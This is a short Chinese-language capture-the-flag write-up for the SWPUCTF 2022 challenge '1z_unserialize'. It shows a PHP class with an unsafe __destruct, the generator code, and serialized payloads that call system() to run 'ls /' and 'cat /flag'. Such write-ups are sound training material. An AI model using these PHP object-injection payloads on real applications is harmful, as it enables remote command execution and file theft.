#[SWPUCTF 2022 新生赛]1z_unserialize
<?php class lyh{ public $url = 'NSSCTF.com'; public $lt; public $lly; function __destruct(){ $a = $this->lt; $a($this->lly); } } unserialize($_POST['nss']); highlight_file(__FILE__); ?>
看这个代码,需要传入nss参数,然后被反序列化,调用__destruct()方法
将$lt的值赋值给$a,这个$a($this->lly)样子看到就要想到形如system(),eval()的命令执行,所以我们让$a=system,让$this->lly等于我们要执行的命令,这样就可以实现命令执行,可以读取一些我们想要的读取的文件
<?php class lyh{ public $lt="system"; public $lly="ls /"; } $a=new lyh(); echo serialize($a); ?>
#O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}
可以看到根目录下的文件,有个flag文件,直接将$lly="ls /"换成$lly="cat /flag"读取文件
即O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
可以看到读取成功
标签:__,25,lly,读取,10,system,lt,序列化 From: https://www.cnblogs.com/lcjingyi/p/17788355.html